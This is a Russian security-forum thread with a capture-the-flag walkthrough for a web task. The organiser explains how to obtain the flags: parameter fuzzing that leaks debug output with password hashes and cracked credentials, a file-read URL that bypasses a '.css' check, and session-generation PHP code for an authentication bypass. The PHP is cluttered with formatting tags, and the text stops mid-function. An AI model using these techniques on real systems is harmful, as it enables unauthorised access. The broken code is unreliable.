Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   [спущено с LVL8] RCE Task #3 (https://forum.antichat.xyz/showthread.php?t=463395)

crlf 12.06.2018 23:41

Цитата:

Сообщение от Matrix
Matrix said:
Wake up, %username%... тебе поступил заказ на секретный проект.
Твоя задача, получить выполнение команд на сервере и в процессе собрать 5 флагов вида {SKL_*}.
Я незнаю сколько этот проект будет онлайн, чтобы не потерять статистику, присылай связному @crlf найденные флаги и запросы для их получения. Он будет вести и обновлять статистику.
И последнее, пожалуй самое главное, никому не рассказывай о результатах и ходе твоего продвижения. Агенты не дремлют...
http://80.211.180.74/

  • @rrock -

crlf 20.06.2018 19:41

Цитата:

Сообщение от BigBear
BigBear said:

Пришла пора первой подсказки для первого флага.

Подсказка для первого флага не нужна. Он находится сходу, по крайней мере, люди читающие этот пост должный находить подобное в первые 5 минут максимум!. Не говоря уже про акунетики шмакунетики, которыми никто не запрещает пользоваться, если по другому никак.

И проблема не в сложности, а в отсутствии активности, так как жесть начинается на взятии 5го флага. По моим оценкам из античатовцев таск ковыряли 2-3,5 человека. Из старших групп, скорее всего вообще никто, тут уж ничего не поделать, мое дело предложить и я знал что так будет

Хинты только с третьего флага.

Twoster 21.06.2018 12:34

Цитата:

Сообщение от crlf
crlf said:

Подсказка для первого флага не нужна. Он находится сходу, по крайней мере, люди читающие этот пост должный находить подобное в первые 5 минут
максимум
!. Не говоря уже про акунетики шмакунетики, которыми никто не запрещает пользоваться, если по другому никак.
И проблема не в сложности, а в отсутствии активности, так как жесть начинается на взятии 5го флага. По моим оценкам из античатовцев таск ковыряли 2-3,5 человека. Из старших групп, скорее всего вообще никто, тут уж ничего не поделать, мое дело предложить и я знал что так будет
Хинты только с третьего флага.

Пятый таск мне всю голову уже выеб((

Я тебя ненавижу(

crlf 21.06.2018 19:26

  • Скулей нет
  • Брутить и сканить ничего не нужно, гугол плюс внимательность, всё на поверхности
  • На каждый пук изучаем сорцы, любые, которые можно посмотреть

SooLFaa 21.06.2018 20:20

1 флаг даже меньше 5 минут занял

UPD: да и второй недолго, позже продолжу, интересно

crlf 24.06.2018 20:59

  • Хеши привилегированных юзеров не брутабельны
  • Всему виной бородатый баг или фича
  • Есть тонкая грань между брутфорсом и байпасом
  • Пых свежий, нуллбайты и вытеснения лесом

crlf 29.06.2018 21:14

Нежданчиком врывается @Felis-Sapiens, 3 флага за раз, класс!

crlf 18.07.2018 19:12

@rrock порвал таск, 5 флагов сходу, flawless victory!

crlf 30.08.2018 03:10

Прошло 78 дней, которых вполне достаточно для решения тасков подобной сложности, поэтому, с вашего позволения (нет), буду подводить итог

Спасибо всем кто учавствовал! Отдельный респект затащившим: @Twoster, @rrock, @Felis-Sapiens (да, не взял 5й флаг, но если бы получил киллер хинт, то затащил бы с лёгкостью, поэтому зачёт). Вы просто космос, уважуха гайзы, вы хенкеры и ниипёт!

Ниже представлен примерный ход прохождения, который описан по мере возможности, так как половину того, что хотелось бы написать уже стёрлось из памяти. Поэтому если не брезгуете читать обрывочные суждения и местами словесный понос, милости прошу

⚑ 1. {SKL_IT_WAS_EASY}

Часто при анализе чёрным ящиком используется фаззинг параметров. Передача различных комбинаций или изменение типа передаваемых параметров, может повлечь за собой нестандартное поведение исследуемого приложения. Помимо получения различных аномалий для дальнейшего изучения, порой можно получить много информации о системе, в случаях, когда разработчики забывают отключить инструменты для отладки или сообщения об ошибках.

Для завладевания первым флагом, достаточно изменить тип:

Код:

Code:
POST / HTTP/1.1
Host: 80.211.180.74
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

username[]=&password=&login=Login

Что в свою очередь повлечёт выдачу отладочного сообщения:

Код:

Code:
We've got 500, something went wrong... Array
(
    [_GET] => Array
        (
        )

    [_POST] => Array
        (
            [username] => Array
                (
                    [0] =>
                )

            [password] => Array
                (
                    [0] =>
                )

            [login] => Login
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

    [users] => Array
        (
            [skillprogrammer] => Array
                (
                    [userid] => 1000001
                    [password] => 805e33bbec4739bc0da4b6eeb3720c6fa9f0947921d4cf8996c3929275c8f89353c925983ff7c4c78e998f3803d0ddcccc6616d47e05af05caa4ebeaf848814f
                )

            [annie] => Array
                (
                    [userid] => 1000002
                    [password] => 3a2a5e118c11478d971f896554ac4fc012c5bfbc3f17f8fd20942f81a2dd064a992f6cd2f4856991bb77684c98f44edd291ba17d3cb2fa439588142e36874181
                )

            [joe] => Array
                (
                    [userid] => 1000003
                    [password] => 7d014b30e1e9611c210298bddc6135d5530f4cfc7b94208f82554c56bbe19c5a8a373ba3284b79c36ade8adc9c1a49449c1360e210abf119ea237f102cfe815a
                )

            [donald] => Array
                (
                    [userid] => 1000004
                    [password] => 8cb17d4622c3d9ddc925bc43942bd2be383b30aa2dc3c6a23ef84f0e6cd7c2365378f8e4d098e79675569670b5ab6e9ea3f8af12ad559443ffb6dcd8ee5981b3
                )

        )

    [check] =>
    [login] => 1
    [user] => 0
    [_SERVER] => Array
        (
            [USER] => www-data
            [HOME] => /var/www
            [HTTP_CONTENT_TYPE] => application/x-www-form-urlencoded
            [HTTP_CONTENT_LENGTH] => 35
            [HTTP_ACCEPT] => */*
            [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
            [HTTP_HOST] => 80.211.180.74
            [REDIRECT_STATUS] => 200
            [SERVER_NAME] => _
            [SERVER_PORT] => 80
            [SERVER_ADDR] => 80.211.180.74
            [REMOTE_PORT] => 17229
            [REMOTE_ADDR] => 89.232.69.92
            [SERVER_SOFTWARE] => nginx/1.10.3
            [GATEWAY_INTERFACE] => CGI/1.1
            [REQUEST_SCHEME] => http
            [SERVER_PROTOCOL] => HTTP/1.1
            [DOCUMENT_ROOT] => /var/www/html
            [DOCUMENT_URI] => /index.php
            [REQUEST_URI] => /
            [SCRIPT_NAME] => /index.php
            [CONTENT_LENGTH] => 35
            [CONTENT_TYPE] => application/x-www-form-urlencoded
            [REQUEST_METHOD] => POST
            [QUERY_STRING] =>
            [SCRIPT_FILENAME] => /var/www/html/index.php
            [PATH_INFO] =>
            [FCGI_ROLE] => RESPONDER
            [PHP_SELF] => /index.php
            [REQUEST_TIME_FLOAT] => 1535567054.7217
            [REQUEST_TIME] => 1535567054
            [0] => Array
 *RECURSION*
        )

    [GLOBALS] => Array
 *RECURSION*
)

 {SKL_IT_WAS_EASY} -->

Забавный факт, мембер @vulnbe прислал вариант, который небыл учтён, так как прохождение закладывалось линейным, учитывались многие факторы, но одни из них проскочил. Пусть это получилось не преднамеренно, но всё же, не менее показательно. Отсутствие параметра username, так же влечёт аналогичные последствия

.SpoilerTarget" type="button">Spoiler: Мысли в слух
Меня несколько раз упрекали в том, что данный таск надуманный. Если взглянуть на современные фреймворки и какую информацию они выдают в отладочном режиме:

https://i.imgur.com/wA9Ncip.png

Я, в свою очередь, могу с уверенностью поставить под сомнение адекватность этих упрёков. Чего только стоит раскрытие локальных путей на одном из сайтов конторы предлагающей пентесты. И являющейся лидером по оказанию подобных услуг в своём регионе. Казалось бы, безобидный пустой POST, что может пойти не так ?

⚑ 2. {SKL_FILE_DISCLOSURE_IS_AWESOME}

Изучив полученную отладочную информацию, можно заметить наличие логинов пользователей и хешированные пароли. Проведя нехитрый анализ алгоритма хеширования или просто загуглив, выяснится что это SHA512 и для нескольких из них можно легко получить значения, так как пароли являются слабыми.

Цитата:

Сообщение от None
annie:nobody
donald:trump

Попробовав любую пару, получаем в ответ You not authorized to access that tool, sorry :'(. По каким-то причинам доступа нет, возможно, у пользователя мало прав или он был ограничен в использовании. Но тут уже что-то новое и это хорошо. Заглядываем в HTML и внимательно изучим ответ:

Код HTML:

HTML:
...

...

vs, без аутентификации:

Код HTML:

HTML:
...

...

Для пользовательского интерфейса используется иная загрузка CSS стилей. Здесь в пору попробовать изучить эту подачу. Убеждаемся, что оба файла доступны в корневой директории хоста. Далее пытаемся отстраивать различные конструкции с использованием комбинаций для эксплуатации Directory Traversal, которые могли бы заставить читать файл стилей из текущей директории или выше (./, ../).

При этом, держа в голове или записывая все варианты поведения и сопоставляя их между собой. Долго ли, коротко ли, должны прийти к неким выводам, что файлы читаются только из текущей директории и только при наличии .css. Поэтому такая конструкция, вполне удовлетворяет:

Код:

Code:
http://80.211.180.74/?css=style.css,user.css/functions.php

Этот код:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]maybeCSSRequest[/COLOR][COLOR="#007700"](){
if(!isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'css'[/COLOR][COLOR="#007700"]])) return;
[/
COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'trim'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]','[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'css'[/COLOR][COLOR="#007700"]]));
foreach([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"].= ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.css'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Content-type: text/css'[/COLOR][COLOR="#007700"]);
exit([/COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'Hacking attempt!'[/COLOR][COLOR="#007700"]);
}
[/
COLOR][/COLOR

Который по причине ошибки валидации, позволяет читать произвольные файлы из текущей директории. Будь там регулярка типа /css$/ или сравнение расширений по вайт листу, то подобный финт ушами не прокатит.

А вот и несколько уязвимостей подобного типа: 1, 2 (не надуманно! )

⚑ 3. {SKL_AUTH_BYPASSED_LIKE_A_PRO}

Получение читалки на желаемой цели, наверное один из лучших вариантов развития собыйтий при продвижении вглубь.

Вычитываем все возможные файлы и приступаем к изучению. Если не заметили до этого, то по коду видим, что аутентифицированному пользователю присваивается кука rememberSession, которая впоследствии "запоминает" пользователя для приложения. Так как в наличии есть ещё пара юзеров с неизвестными паролями, которые, возможно, имеют более высокий уровень доступа, вполне уместно разобраться с механизмом сессий:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]generateSession[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"]){
[/
COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'J'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'C'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=
[/
COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=
[/
COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=
[/
COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"]=
[/
COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_pad[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]STR_PAD_LEFT[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getSalt[/COLOR][COLOR="#007700"]());
[/
COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getTimeOffset[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"]}.
[/
COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]17[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]);
}

function[/
COLOR][COLOR="#0000BB"]getSessionArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]){
[/
COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$timeCheck[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getTimeOffset[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]16[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]19[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]23[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]29[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$pcut1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$pcut2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]15[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$pcut3[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]18[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$pcut4[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]22[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$pcut5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]28[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$pcut6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$pcut7[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]40[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pcut1[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut7[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"]);
[/
